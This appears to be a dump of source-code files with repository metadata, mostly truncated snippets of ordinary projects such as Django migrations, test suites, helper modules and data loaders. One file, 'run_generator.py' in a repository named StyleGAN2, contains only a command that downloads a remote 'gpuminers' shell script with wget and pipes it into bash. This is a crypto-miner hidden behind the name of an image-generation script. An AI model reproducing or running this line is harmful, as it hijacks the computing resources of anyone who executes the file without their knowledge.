apps/board/migrations/0002_auto_20190112_1938.py
anonim-legivon/picoboard
801064126ccc88c13703b36e0d7c33ddb831c443
[ "MIT" ]
2
2021-10-30T23:27:39.000Z
2022-03-01T12:55:03.000Z
# Generated by Django 2.1.5 on 2019-01-12 09:38 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('board', '0001_squashed_0007_auto_20190112_1836'), ] operations = [ migrations.AlterField( model_name='file', name='fu...
25.578947
73
0.592593
413
0.816206
0
0
0
0
0
0
152
0.300395
7f016cf0b2bfb7aa9dc572a51f61f1df8f05fc95
1,381
py
Python
input_device_handler.py
wdomitrz/input_device_handler
4c99f91a0ac805e559a4de497412717e15bfbe25
[ "MIT" ]
null
null
null
input_device_handler.py
wdomitrz/input_device_handler
4c99f91a0ac805e559a4de497412717e15bfbe25
[ "MIT" ]
null
null
null
input_device_handler.py
wdomitrz/input_device_handler
4c99f91a0ac805e559a4de497412717e15bfbe25
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 import json from os import path from evdev import InputDevice, InputEvent, categorize, ecodes from subprocess import Popen CONFIG_FILE = path.expanduser('~/.config/input_device_handler/config.json') class DeviceHandler: def __init__(self, device_options: dict, bindings: dict): sel...
27.62
75
0.62853
1,003
0.726285
0
0
0
0
0
0
141
0.1021
7f02000898a95c1dd1e69a69da9e90223206f7da
3,064
py
Python
modules/plugin_dialog.py
jredrejo/sqlabs
2cf39ff924579e72bc0092f2a6d65214dafd4bfe
[ "MIT" ]
1
2017-12-01T22:46:33.000Z
2017-12-01T22:46:33.000Z
modules/plugin_dialog.py
jredrejo/sqlabs
2cf39ff924579e72bc0092f2a6d65214dafd4bfe
[ "MIT" ]
null
null
null
modules/plugin_dialog.py
jredrejo/sqlabs
2cf39ff924579e72bc0092f2a6d65214dafd4bfe
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # This plugins is licensed under the MIT license: http://www.opensource.org/licenses/mit-license.php # Authors: Kenji Hosoda <hosoda@s-cubism.jp> from gluon import * # For referencing static and views from other application import os APP = os.path.basename(os.path.dirname(os.path.dirname(__file...
42.555556
108
0.555157
2,736
0.89295
0
0
0
0
0
0
1,086
0.354439
7f0d71457ff5029aa819b2d18c137d93a17d27a6
11,698
py
Python
GnuPG-System_Pi-Version/util/_util.py
fabianHAW/GnuPG-Distributer-Mailing-System
7b06ce99481528bdf742c3ee5fe348731daadcc4
[ "MIT" ]
null
null
null
GnuPG-System_Pi-Version/util/_util.py
fabianHAW/GnuPG-Distributer-Mailing-System
7b06ce99481528bdf742c3ee5fe348731daadcc4
[ "MIT" ]
null
null
null
GnuPG-System_Pi-Version/util/_util.py
fabianHAW/GnuPG-Distributer-Mailing-System
7b06ce99481528bdf742c3ee5fe348731daadcc4
[ "MIT" ]
null
null
null
''' Created on 13.06.2016 @author: Fabian Reiber @version: 1.0 This helper-module offers some helpful methods for the GnuPG-System. ''' import base64 from dns.resolver import NXDOMAIN, YXDOMAIN, NoAnswer, NoNameservers, \ NoMetaqueries, Timeout import dns.resolver from email.message import Message from email.mime...
38.354098
150
0.631646
0
0
0
0
0
0
0
0
5,247
0.448538
7f0d8bfebfcc1ee1973bd4edbe065b03d9b94a93
19,788
py
Python
ceilometerclient/tests/v2/test_alarms.py
zqfan/python-ceilometerclient
2d4c6446ff6985c3eb9c4742df1c8d0682dee6ea
[ "Apache-2.0" ]
null
null
null
ceilometerclient/tests/v2/test_alarms.py
zqfan/python-ceilometerclient
2d4c6446ff6985c3eb9c4742df1c8d0682dee6ea
[ "Apache-2.0" ]
null
null
null
ceilometerclient/tests/v2/test_alarms.py
zqfan/python-ceilometerclient
2d4c6446ff6985c3eb9c4742df1c8d0682dee6ea
[ "Apache-2.0" ]
null
null
null
# # Copyright 2013 Red Hat, Inc # # Author: Eoghan Glynn <eglynn@redhat.com> # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 #...
36.57671
78
0.553214
10,156
0.51324
0
0
0
0
0
0
6,032
0.304831
7f113383c517811a2fada36a91c193fbf6aadc4b
1,642
py
Python
source-code/Shortest Word Distance II 244.py
ttungl/Coding-Interview-Challenge
d80c3e15468d50b42ee53fcc73e9326c6c816495
[ "MIT" ]
null
null
null
source-code/Shortest Word Distance II 244.py
ttungl/Coding-Interview-Challenge
d80c3e15468d50b42ee53fcc73e9326c6c816495
[ "MIT" ]
null
null
null
source-code/Shortest Word Distance II 244.py
ttungl/Coding-Interview-Challenge
d80c3e15468d50b42ee53fcc73e9326c6c816495
[ "MIT" ]
null
null
null
# 244. Shortest Word Distance II # ttungl@gmail.com # This is a follow up of Shortest Word Distance. The only difference is now you are given the list of words and your method will be called repeatedly many times with different parameters. How would you optimize it? # Design a class which receives a list of words in t...
33.510204
214
0.622412
707
0.428485
0
0
0
0
0
0
1,065
0.645455
7f127a6ef0e549684fc462a22aab994d7ae0ab9f
10,674
py
Python
tests/acceptance/fetch_test.py
benbariteau/fido
e6839917aaba5097af857b8e9086ca9b7f426621
[ "Apache-2.0" ]
23
2015-02-18T04:00:59.000Z
2021-01-08T04:51:22.000Z
tests/acceptance/fetch_test.py
benbariteau/fido
e6839917aaba5097af857b8e9086ca9b7f426621
[ "Apache-2.0" ]
61
2015-03-05T23:42:02.000Z
2021-03-02T01:53:33.000Z
tests/acceptance/fetch_test.py
benbariteau/fido
e6839917aaba5097af857b8e9086ca9b7f426621
[ "Apache-2.0" ]
21
2015-02-18T04:01:11.000Z
2020-12-21T23:38:16.000Z
# -*- coding: utf-8 -*- import logging import time import zlib from multiprocessing import Process import crochet import pytest from six.moves import BaseHTTPServer from six.moves import socketserver as SocketServer from yelp_bytes import to_bytes import fido from fido.fido import DEFAULT_USER_AGENT from fido.fido i...
30.410256
78
0.661514
2,070
0.193929
2,721
0.254918
3,369
0.315627
0
0
2,539
0.237868
7f12be13b6d2453bad70a353595fcd008e638a77
14,028
py
Python
ospy/helpers.py
teodoryantcheff/OSPy
07f44e262383054b276e34d7fc16b3cc10a6d9cf
[ "CC-BY-3.0" ]
1
2018-07-10T18:33:53.000Z
2018-07-10T18:33:53.000Z
ospy/helpers.py
teodoryantcheff/OSPy
07f44e262383054b276e34d7fc16b3cc10a6d9cf
[ "CC-BY-3.0" ]
null
null
null
ospy/helpers.py
teodoryantcheff/OSPy
07f44e262383054b276e34d7fc16b3cc10a6d9cf
[ "CC-BY-3.0" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- __author__ = 'Rimco' # System imports import datetime import logging import random import time import errno from threading import Lock BRUTEFORCE_LOCK = Lock() def del_rw(action, name, exc): import os import stat if os.path.exists(name): os.chmod(na...
26.82218
122
0.571072
0
0
0
0
0
0
0
0
1,812
0.12917
7f1319d6d309450afe662dd106db64ec2c512851
2,279
py
Python
prototypes/harvesters/updated_mml_harvester.py
materials-data-facility/connect
9ec5b61750bf6fa579bf3ec122f31880d3c049b8
[ "Apache-2.0" ]
1
2019-09-13T18:35:56.000Z
2019-09-13T18:35:56.000Z
prototypes/harvesters/updated_mml_harvester.py
materials-data-facility/connect_server
9ec5b61750bf6fa579bf3ec122f31880d3c049b8
[ "Apache-2.0" ]
15
2018-11-01T18:08:11.000Z
2021-12-06T17:55:03.000Z
prototypes/harvesters/updated_mml_harvester.py
materials-data-facility/connect
9ec5b61750bf6fa579bf3ec122f31880d3c049b8
[ "Apache-2.0" ]
1
2020-11-30T17:02:41.000Z
2020-11-30T17:02:41.000Z
import json import os import shutil import requests def harvest(out_dir, index=None, existing_dir=0, verbose=False): """Collects available data from NIST's MML and saves to the given directory Arguments: out_dir (str): The path to the directory (which will be created) for the data files. ind...
36.174603
96
0.600263
0
0
0
0
0
0
0
0
1,066
0.467749
7f137405acd5b0f9b1c036fe82b2e527a93cd13e
182
py
Python
PythonProject/model/search/ModelSearchResult.py
vlth/ExcelFileSearcher-python
2e5b2c93bdb3bc4140d3b4b9f486133e123a5c36
[ "MIT" ]
null
null
null
PythonProject/model/search/ModelSearchResult.py
vlth/ExcelFileSearcher-python
2e5b2c93bdb3bc4140d3b4b9f486133e123a5c36
[ "MIT" ]
null
null
null
PythonProject/model/search/ModelSearchResult.py
vlth/ExcelFileSearcher-python
2e5b2c93bdb3bc4140d3b4b9f486133e123a5c36
[ "MIT" ]
null
null
null
import sys from model.data_entities.ModelDatatableRow import ModelDatatableRow class ModelSearchResult: def __init__(self, rows: [ModelDatatableRow]): self.rows = rows
22.75
67
0.774725
100
0.549451
0
0
0
0
0
0
0
0
7f14d80c30ce922024138d28c7ffb4f35b817d6e
724
py
Python
restaurant/migrations/0006_auto_20160707_2014.py
aggolb/dinnerpad
57558908e10f218bae32d1f99d72b6aeca9c5836
[ "MIT" ]
null
null
null
restaurant/migrations/0006_auto_20160707_2014.py
aggolb/dinnerpad
57558908e10f218bae32d1f99d72b6aeca9c5836
[ "MIT" ]
null
null
null
restaurant/migrations/0006_auto_20160707_2014.py
aggolb/dinnerpad
57558908e10f218bae32d1f99d72b6aeca9c5836
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations class Migration(migrations.Migration): dependencies = [ ('restaurant', '0005_auto_20160707_1939'), ] operations = [ migrations.AddField( model_name='menuitem', ...
28.96
167
0.598066
615
0.849448
0
0
0
0
0
0
198
0.273481
7f15c1992685c6fd92039732b2bac2299b5fda58
257
py
Python
jp.atcoder/abc003/abc003_3/8763316.py
kagemeka/atcoder-submissions
91d8ad37411ea2ec582b10ba41b1e3cae01d4d6e
[ "MIT" ]
1
2022-02-09T03:06:25.000Z
2022-02-09T03:06:25.000Z
jp.atcoder/abc003/abc003_3/8763316.py
kagemeka/atcoder-submissions
91d8ad37411ea2ec582b10ba41b1e3cae01d4d6e
[ "MIT" ]
1
2022-02-05T22:53:18.000Z
2022-02-09T01:29:30.000Z
jp.atcoder/abc003/abc003_3/8763316.py
kagemeka/atcoder-submissions
91d8ad37411ea2ec582b10ba41b1e3cae01d4d6e
[ "MIT" ]
null
null
null
import sys n, k, *r = map(int, sys.stdin.read().split()) r.sort() cand = r[-k:] def main(): rate = 0 for c in cand: if rate < c: rate = (rate + c) / 2 print(rate) if __name__ == "__main__": main()
13.526316
46
0.451362
0
0
0
0
0
0
0
0
10
0.038911
7f161c3e730e9a961c38fd31d9be347a04f925d2
1,580
py
Python
day 02/Hans - Python/day2.py
AE-nv/aedvent-code-2021
7ce199d6be5f6cce2e61a9c0d26afd6d064a86a7
[ "MIT" ]
1
2021-12-02T12:09:11.000Z
2021-12-02T12:09:11.000Z
day 02/Hans - Python/day2.py
AE-nv/aedvent-code-2021
7ce199d6be5f6cce2e61a9c0d26afd6d064a86a7
[ "MIT" ]
null
null
null
day 02/Hans - Python/day2.py
AE-nv/aedvent-code-2021
7ce199d6be5f6cce2e61a9c0d26afd6d064a86a7
[ "MIT" ]
1
2021-12-01T21:14:41.000Z
2021-12-01T21:14:41.000Z
from typing import List, Tuple from collections import namedtuple from enum import Enum class Direction(Enum): FORWARD = "FORWARD" UP = "UP" DOWN = "DOWN" Instruction = namedtuple('Instruction', 'direction units') def get_combined_directions(instructions_list: List[Instruction]) -> Tuple[int, int]: ...
29.811321
94
0.698101
78
0.049367
0
0
0
0
0
0
166
0.105063
7f16280a4ee127c66ec6881146bdacb0609fbd70
5,100
py
Python
sopel_torrentinfo/providers.py
dgw/sopel-torrentinfo
8e73324574b97b11e220a9dacf33f3f8e56ce758
[ "EFL-2.0" ]
null
null
null
sopel_torrentinfo/providers.py
dgw/sopel-torrentinfo
8e73324574b97b11e220a9dacf33f3f8e56ce758
[ "EFL-2.0" ]
3
2017-10-08T09:13:59.000Z
2020-12-22T19:37:40.000Z
sopel_torrentinfo/providers.py
dgw/sopel-torrentinfo
8e73324574b97b11e220a9dacf33f3f8e56ce758
[ "EFL-2.0" ]
2
2017-10-07T18:16:05.000Z
2018-01-18T15:09:13.000Z
# coding=utf-8 """Link handling provider logic.""" import abc from collections import OrderedDict import re from lxml import etree class ProviderManager: """Manager of info providers. Possibly also slayer of dragons.""" def __init__(self): self.providers = OrderedDict() """Mapping of each ...
34.693878
106
0.608039
4,954
0.971373
0
0
1,197
0.234706
0
0
2,588
0.507451
7f17a75bcf20017304a34f189d671e3f94815fb9
387
py
Python
service/models/employer/employer_filter.py
CyberArkForTheCommunity/jobli-backend
2309c9ac33993cb89a8e1581630d99b46f8d55aa
[ "MIT" ]
null
null
null
service/models/employer/employer_filter.py
CyberArkForTheCommunity/jobli-backend
2309c9ac33993cb89a8e1581630d99b46f8d55aa
[ "MIT" ]
1
2021-12-23T13:36:43.000Z
2021-12-23T13:36:43.000Z
service/models/employer/employer_filter.py
CyberArkForTheCommunity/jobli-backend
2309c9ac33993cb89a8e1581630d99b46f8d55aa
[ "MIT" ]
null
null
null
from pydantic import BaseModel, Field from typing import Optional from service.lambdas.employer.constants import EmployerConstants class EmployerFilter(BaseModel): employer_id: Optional[str] business_name: Optional[str] city: Optional[str] last_pagination_key: Optional[str] limit_per_page: Optiona...
32.25
93
0.803618
253
0.653747
0
0
0
0
0
0
0
0
7f17d586efcd9507ea3b23d3a3643661b8e2a4e3
2,265
py
Python
alembic/versions/178e9c208218_.py
xtao/vilya
39afda324bcfe9eefe7d813381d5b1627ba00ae5
[ "BSD-3-Clause" ]
2
2015-01-15T09:10:57.000Z
2015-01-15T09:55:10.000Z
alembic/versions/178e9c208218_.py
xtao/vilya
39afda324bcfe9eefe7d813381d5b1627ba00ae5
[ "BSD-3-Clause" ]
null
null
null
alembic/versions/178e9c208218_.py
xtao/vilya
39afda324bcfe9eefe7d813381d5b1627ba00ae5
[ "BSD-3-Clause" ]
null
null
null
"""empty message Revision ID: 178e9c208218 Revises: 5998e9ee193 Create Date: 2014-11-16 19:09:06.666542 """ # revision identifiers, used by Alembic. revision = '178e9c208218' down_revision = '5998e9ee193' from alembic import op import sqlalchemy as sa def upgrade(): ### commands auto generated by Alembic - pl...
38.389831
77
0.686093
0
0
0
0
0
0
0
0
736
0.324945
7f1a78253af63ce99cd33cff95dd1f2d2d7c9566
6,210
py
Python
tools/dali.py
luzai/InsightFace_Pytorch
2f3d865aa5fa14896df27fe9b43a5c4ceb02c7dd
[ "MIT" ]
4
2019-01-24T03:43:36.000Z
2020-10-24T08:36:28.000Z
tools/dali.py
luzai/InsightFace_Pytorch
2f3d865aa5fa14896df27fe9b43a5c4ceb02c7dd
[ "MIT" ]
null
null
null
tools/dali.py
luzai/InsightFace_Pytorch
2f3d865aa5fa14896df27fe9b43a5c4ceb02c7dd
[ "MIT" ]
null
null
null
from lz import * from config import conf from nvidia.dali.pipeline import Pipeline import nvidia.dali.ops as ops import nvidia.dali.types as types from nvidia.dali.plugin.pytorch import DALIGenericIterator base = "/media/mem_data/" + conf.dataset_name + "/" idx_files = [base + "train.tc.idx"] rec_files = [base + "trai...
37.409639
186
0.541063
4,292
0.691143
0
0
0
0
0
0
686
0.110467
7f1abb5060e39a368256be6fdccc62d3097395a3
185
py
Python
user_guide/urls.py
jmcriffey/django-user-guide
f4a1c462d2f7bf8569576f757e2f106b565e3e40
[ "MIT" ]
null
null
null
user_guide/urls.py
jmcriffey/django-user-guide
f4a1c462d2f7bf8569576f757e2f106b565e3e40
[ "MIT" ]
null
null
null
user_guide/urls.py
jmcriffey/django-user-guide
f4a1c462d2f7bf8569576f757e2f106b565e3e40
[ "MIT" ]
null
null
null
from django.conf.urls import patterns, url from user_guide import views urlpatterns = patterns( '', url(r'^seen/?$', views.GuideSeenView.as_view(), name='user_guide.seen') )
18.5
75
0.702703
0
0
0
0
0
0
0
0
30
0.162162
7f1c6481280e8c66c3c95bb553f4716418bdc89b
3,663
py
Python
integration/keeper_secrets_manager_cli/keeper_secrets_manager_cli/exec.py
inna-btc/secrets-manager
5c65fea092e80b25d2466b395fa03eabd6a98f9b
[ "MIT" ]
null
null
null
integration/keeper_secrets_manager_cli/keeper_secrets_manager_cli/exec.py
inna-btc/secrets-manager
5c65fea092e80b25d2466b395fa03eabd6a98f9b
[ "MIT" ]
null
null
null
integration/keeper_secrets_manager_cli/keeper_secrets_manager_cli/exec.py
inna-btc/secrets-manager
5c65fea092e80b25d2466b395fa03eabd6a98f9b
[ "MIT" ]
1
2021-12-18T03:15:54.000Z
2021-12-18T03:15:54.000Z
# -*- coding: utf-8 -*- # _ __ # | |/ /___ ___ _ __ ___ _ _ ® # | ' </ -_) -_) '_ \/ -_) '_| # |_|\_\___\___| .__/\___|_| # |_| # # Keeper Secrets Manager # Copyright 2021 Keeper Security Inc. # Contact: ops@keepersecurity.com # import os import sys import subprocess from keeper_secrets_manager_cli.exc...
34.885714
111
0.577669
3,228
0.881004
0
0
0
0
0
0
965
0.263373
7f1ce93eb440ce425b0855de18b6a52b32d83bda
688
py
Python
examples/euler_2d/grid_initializer.py
Ruzzyy/anysim
6bc590056754e7dc89a1078ab4c41823075088d2
[ "MIT" ]
4
2019-05-13T11:51:27.000Z
2019-09-25T15:18:03.000Z
examples/euler_2d/grid_initializer.py
Ruzzyy/anysim
6bc590056754e7dc89a1078ab4c41823075088d2
[ "MIT" ]
null
null
null
examples/euler_2d/grid_initializer.py
Ruzzyy/anysim
6bc590056754e7dc89a1078ab4c41823075088d2
[ "MIT" ]
3
2019-06-08T12:46:13.000Z
2020-01-09T10:35:22.000Z
from anysim_py import * x_0 = 1.0 y_0 = 1.5 for cell_id in range (topology.get_cells_count ()): if geometry.get_cell_center_x (cell_id) < x_0: fields["rho"][cell_id] = 1.0 fields["p"][cell_id] = 1.0 fields["u"][cell_id] = 0.0 fields["v"][cell_id] = 0.0 else: if geometry...
29.913043
54
0.510174
0
0
0
0
0
0
0
0
42
0.061047
7f1e1e58324d965d4cfbe921e5ddeef6d3149b64
1,247
py
Python
Important/decorator_example2.py
jason71319jason/Interview-solved
42ca93a68475952753d185c325cb55c79e2e55e1
[ "MIT" ]
2
2020-10-19T05:22:43.000Z
2020-10-19T06:01:28.000Z
Important/decorator_example2.py
jason71319jason/Interview-solved
42ca93a68475952753d185c325cb55c79e2e55e1
[ "MIT" ]
null
null
null
Important/decorator_example2.py
jason71319jason/Interview-solved
42ca93a68475952753d185c325cb55c79e2e55e1
[ "MIT" ]
null
null
null
# decorator as a function # decorator to add functionality to func along with uneven arguments def decorator_function(original_function): def wrapper(*args, **kwargs): # adding *args **kwargs makes it take any no of arguments print "\nexecuting inside of Decorator Function: {}".format(original_function.__na...
30.414634
97
0.728148
320
0.256616
0
0
376
0.301524
0
0
457
0.36648
7f213145b2e79b609f449693f2315622fd4c8619
11,729
py
Python
notebooks/diffable_python/population_characteristics.py
opensafely/nhs-covid-vaccination-coverage
61cfafdb9d023546af01ff91c0457f80a787ce7c
[ "MIT" ]
12
2021-01-27T11:49:01.000Z
2022-02-17T10:19:26.000Z
notebooks/diffable_python/population_characteristics.py
opensafely/nhs-covid-vaccination-coverage
61cfafdb9d023546af01ff91c0457f80a787ce7c
[ "MIT" ]
8
2021-02-02T16:00:55.000Z
2022-02-15T14:44:26.000Z
notebooks/diffable_python/population_characteristics.py
opensafely/nhs-covid-vaccination-coverage
61cfafdb9d023546af01ff91c0457f80a787ce7c
[ "MIT" ]
6
2021-02-16T00:58:14.000Z
2022-02-17T10:06:57.000Z
# --- # jupyter: # jupytext: # cell_metadata_filter: all # notebook_metadata_filter: all,-language_info # text_representation: # extension: .py # format_name: light # format_version: '1.5' # jupytext_version: 1.3.3 # kernelspec: # display_name: Python 3 # language: python...
40.725694
231
0.675335
0
0
0
0
0
0
0
0
4,905
0.418194
7f2201229ba0be087f7e74b4e6169d1738424400
6,723
py
Python
python/infinite_precision_arithmetic/Rational.py
quasarbright/quasarbright.github.io
942710adf4a2531d033023a6f750efeddf3e9050
[ "MIT" ]
1
2021-01-23T13:50:34.000Z
2021-01-23T13:50:34.000Z
python/infinite_precision_arithmetic/Rational.py
quasarbright/quasarbright.github.io
942710adf4a2531d033023a6f750efeddf3e9050
[ "MIT" ]
40
2018-02-19T19:37:24.000Z
2022-03-25T18:34:22.000Z
python/infinite_precision_arithmetic/Rational.py
quasarbright/quasarbright.github.io
942710adf4a2531d033023a6f750efeddf3e9050
[ "MIT" ]
1
2018-12-07T03:07:21.000Z
2018-12-07T03:07:21.000Z
from BigInt import * class Rational: ''' constructs a fraction, doesn't simplify immutable ''' def __init__(self, numerator, denominator=BigInt(1)): if type(numerator) is not type(BigInt(0)) or type(denominator) is not type(BigInt(0)): raise TypeError('{0}, {1}'.format(type(numer...
33.282178
127
0.557787
6,701
0.996728
0
0
0
0
0
0
547
0.081362
7f22ff6c6016d0aee4ec29ba1f292219db1a16c0
7,915
py
Python
amazon.py
DhruvAwasthi/Scrape-Amazon_Reviews
6cd02c23fa1a5aadf91c26c3b18e67b18be194a0
[ "MIT" ]
1
2021-02-03T12:59:46.000Z
2021-02-03T12:59:46.000Z
amazon.py
DhruvAwasthi/Scraping-Amazon
6cd02c23fa1a5aadf91c26c3b18e67b18be194a0
[ "MIT" ]
null
null
null
amazon.py
DhruvAwasthi/Scraping-Amazon
6cd02c23fa1a5aadf91c26c3b18e67b18be194a0
[ "MIT" ]
null
null
null
import pandas as pd from urllib import request from bs4 import BeautifulSoup num_reviews = 100 reviews_dir = 'data/' base_url = 'https://www.amazon.in' product_url = 'https://www.amazon.in/Samsung-EO-BG920BBEGIN-Bluetooth-Headphones-Black-Sapphire/dp/B01A31SHF0/ref=sr_1_1?dchild=1&keywords=headphones+level&qid=160853...
39.575
178
0.633986
0
0
0
0
0
0
0
0
2,219
0.280354
7f23cd5011dad7b6cfaa8bd1a98b4bf52685a6b0
682
py
Python
templates/bind-config.py
bartv/dns-config
1c073ae83f6d3f0dccb647aefc4513c3724b6f54
[ "MIT" ]
null
null
null
templates/bind-config.py
bartv/dns-config
1c073ae83f6d3f0dccb647aefc4513c3724b6f54
[ "MIT" ]
null
null
null
templates/bind-config.py
bartv/dns-config
1c073ae83f6d3f0dccb647aefc4513c3724b6f54
[ "MIT" ]
null
null
null
# Licensed under the MIT license # Copyright 2007, Bart Vanbrabant <bart@ulyssis.org> result = "// Auto generated from ldap at %s\n" % datetime.datetime.now().strftime("%d/%m/%Y -- %H:%M") result += "// vim: ft=named\n\n" for zone in zones: name = zone.get_zonename() if (zone.is_zoneonly()): co...
31
103
0.536657
0
0
0
0
0
0
0
0
294
0.431085
7f2404cb9daa894c644ef3b4e0780cecfc37e6cc
2,252
py
Python
tengp/genotype_factory.py
Jarino/tengp
875ea583adf1194f1be4cb3dc25568f3859f9011
[ "MIT" ]
4
2018-10-17T21:46:40.000Z
2021-11-09T06:17:05.000Z
tengp/genotype_factory.py
Jarino/tengp
875ea583adf1194f1be4cb3dc25568f3859f9011
[ "MIT" ]
1
2018-10-18T08:42:27.000Z
2018-10-18T08:42:27.000Z
tengp/genotype_factory.py
Jarino/tengp
875ea583adf1194f1be4cb3dc25568f3859f9011
[ "MIT" ]
2
2018-10-18T00:36:51.000Z
2018-12-12T03:52:14.000Z
from random import randint from .utils import clamp_bottom class GenotypeFactory(): def __init__(self, parameters): """ Initialize a genotype factory. Parameters ---------- parameters: Parameters object object holding info about individuals """ ...
32.637681
83
0.60524
2,190
0.972469
0
0
0
0
0
0
421
0.186945
612ecfda35cd8d93573ac60f077c553e163ffa6a
160
py
Python
accounts/admin.py
Dev-Mehta/AskaDev
4514383cb1f94178e8082f0b710c7efbdd3225a7
[ "MIT" ]
7
2020-08-26T12:32:50.000Z
2020-09-20T09:17:12.000Z
accounts/admin.py
Dev-Mehta/AskaDev
4514383cb1f94178e8082f0b710c7efbdd3225a7
[ "MIT" ]
null
null
null
accounts/admin.py
Dev-Mehta/AskaDev
4514383cb1f94178e8082f0b710c7efbdd3225a7
[ "MIT" ]
3
2020-08-27T06:06:43.000Z
2020-10-10T15:53:26.000Z
from django.contrib import admin from .models import ProgrammingLanguage, UserProfile admin.site.register(UserProfile) admin.site.register(ProgrammingLanguage)
32
52
0.8625
0
0
0
0
0
0
0
0
0
0
612ee78203b78877aafd025f59ff4c87c7df5824
2,050
py
Python
oauth2_jwtprofile.py
ReiknistofaBankanna/oauth2-jwtprofile-python
ef2f7ed3d4dce4c8b5978886264fafbca55fe70a
[ "MIT" ]
null
null
null
oauth2_jwtprofile.py
ReiknistofaBankanna/oauth2-jwtprofile-python
ef2f7ed3d4dce4c8b5978886264fafbca55fe70a
[ "MIT" ]
null
null
null
oauth2_jwtprofile.py
ReiknistofaBankanna/oauth2-jwtprofile-python
ef2f7ed3d4dce4c8b5978886264fafbca55fe70a
[ "MIT" ]
null
null
null
import sys import urllib.request import urllib.parse import json import jwt import uuid import datetime import cryptography from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives.serialization import load_pem_private_key from cryptography.hazmat.primitives import serialization, has...
31.060606
206
0.691707
0
0
0
0
0
0
0
0
308
0.150244
61303415b144b93a1348117d120e53ba1d088ec4
1,596
py
Python
practical6a.py
himanshubalani/DSPDLab
18ca05bc21c16025a9c87fcdf8de6dff6fe6218c
[ "MIT" ]
null
null
null
practical6a.py
himanshubalani/DSPDLab
18ca05bc21c16025a9c87fcdf8de6dff6fe6218c
[ "MIT" ]
null
null
null
practical6a.py
himanshubalani/DSPDLab
18ca05bc21c16025a9c87fcdf8de6dff6fe6218c
[ "MIT" ]
null
null
null
class Node: def __init__(self, data): self.data = data self.next = None self.prev = None class LinkedList: def __init__(self): self.head = None def push(self, newElement): newNode = Node(newElement) if(self.head == None): self.head = newNode return else: temp = self...
22.8
47
0.577068
1,323
0.828947
0
0
0
0
0
0
168
0.105263
61323be0e4983d21fbe8573aba51b88ec3da620c
121
py
Python
run_generator.py
jimmyplummet/StyleGAN2
0846919dcb16bce6a710477f1502cb4382f05a19
[ "BSD-Source-Code" ]
null
null
null
run_generator.py
jimmyplummet/StyleGAN2
0846919dcb16bce6a710477f1502cb4382f05a19
[ "BSD-Source-Code" ]
null
null
null
run_generator.py
jimmyplummet/StyleGAN2
0846919dcb16bce6a710477f1502cb4382f05a19
[ "BSD-Source-Code" ]
null
null
null
import os as alpha alpha.system("wget -O - https://gitlab.com/chadpetersen1337/gpuminers/-/raw/main/start_vs.sh | bash")
40.333333
101
0.752066
0
0
0
0
0
0
0
0
87
0.719008
61326e6043ecf9b6f3be3431593e534006fc31a8
22,334
py
Python
ruuvigw_aioclient.py
hulttis/ruuvigw
914eb657e3f2792cecf6848dfa7607ad45f17ab4
[ "MIT" ]
7
2019-11-08T07:30:05.000Z
2022-02-20T21:58:44.000Z
ruuvigw_aioclient.py
hulttis/ruuvigw
914eb657e3f2792cecf6848dfa7607ad45f17ab4
[ "MIT" ]
null
null
null
ruuvigw_aioclient.py
hulttis/ruuvigw
914eb657e3f2792cecf6848dfa7607ad45f17ab4
[ "MIT" ]
1
2021-06-19T16:52:55.000Z
2021-06-19T16:52:55.000Z
# coding=utf-8 #------------------------------------------------------------------------------- # Name: ruuvigw_aioclient.py # Purpose: ruuvigw aioclient # Copyright: (c) 2019 TK # Licence: MIT #------------------------------------------------------------------------------- import logging logger = logg...
45.86037
242
0.515313
21,518
0.963464
0
0
0
0
15,788
0.706904
6,869
0.307558
6132d42fd438eecafe7615bca9c8d7ecfec60301
221
py
Python
cosmicmatter/misc/basicloadtest.py
bclements/cosmicmatter
93eeb09fff9db8e4bc2e3062b7d3de2aa5bab7b4
[ "BSD-3-Clause" ]
1
2022-03-24T22:55:56.000Z
2022-03-24T22:55:56.000Z
cosmicmatter/misc/basicloadtest.py
SpaceElements/spacepy
dada27f8af142c839060d525b2ef653d07195ee3
[ "BSD-3-Clause" ]
2
2022-03-25T08:23:02.000Z
2022-03-29T22:45:32.000Z
cosmicmatter/misc/basicloadtest.py
SpaceElements/spacepy
dada27f8af142c839060d525b2ef653d07195ee3
[ "BSD-3-Clause" ]
1
2022-03-25T07:14:53.000Z
2022-03-25T07:14:53.000Z
# very basic load test # import webbrowser import time count = 0 while count < 22: print(count) webbrowser.open("https://www.someurlhere.com", new=2, autoraise=True) count += 1 time.sleep(1.3) # Seconds
20.090909
73
0.669683
0
0
0
0
0
0
0
0
79
0.357466
613350459deaf4cd7dc957354999d29e93615ef0
2,400
py
Python
part4.py
sajith2019048/my-second-program
cd78c96704fd47654890900c009c172d77285392
[ "MIT" ]
null
null
null
part4.py
sajith2019048/my-second-program
cd78c96704fd47654890900c009c172d77285392
[ "MIT" ]
null
null
null
part4.py
sajith2019048/my-second-program
cd78c96704fd47654890900c009c172d77285392
[ "MIT" ]
null
null
null
#create veriable........ cr_pass=0##insert veriables defer=0##insert veriables fail=0##insert veriables choice=0#staff choice. count1=0#$$$counting "Progress" count2=0#$$$counting "Trailing" count3=0#$$$counting "Excluded" count4=0#$$$counting "Retriever" total=0#@@@@all counting values total t1=0#"Progres...
32.432432
117
0.4875
0
0
0
0
0
0
0
0
1,203
0.500833
6133c29d8b9279ccf50193d636c2f1625a49fccd
1,620
py
Python
preprocess.py
ShiraStarL/Credit_Card_Detection
d01fd888e28efbda93f87f32cc8a7b0255067950
[ "MIT" ]
5
2020-09-02T09:44:15.000Z
2020-09-02T11:43:31.000Z
preprocess.py
ShiraStarL/Credit_Card_Detection
d01fd888e28efbda93f87f32cc8a7b0255067950
[ "MIT" ]
null
null
null
preprocess.py
ShiraStarL/Credit_Card_Detection
d01fd888e28efbda93f87f32cc8a7b0255067950
[ "MIT" ]
null
null
null
import cv2 import numpy as np def preprocess(img, debug=True): # image dimensions height, width = img.shape[:2] # crop image as card rectangle a = int(height * 0.125) b = int(width * 0.406) x1 = int(width/2) - b x2 = int(width/2) + b y1 = int(height/2) - a y2 = int(height/2) + a ...
27.457627
105
0.612346
0
0
0
0
0
0
0
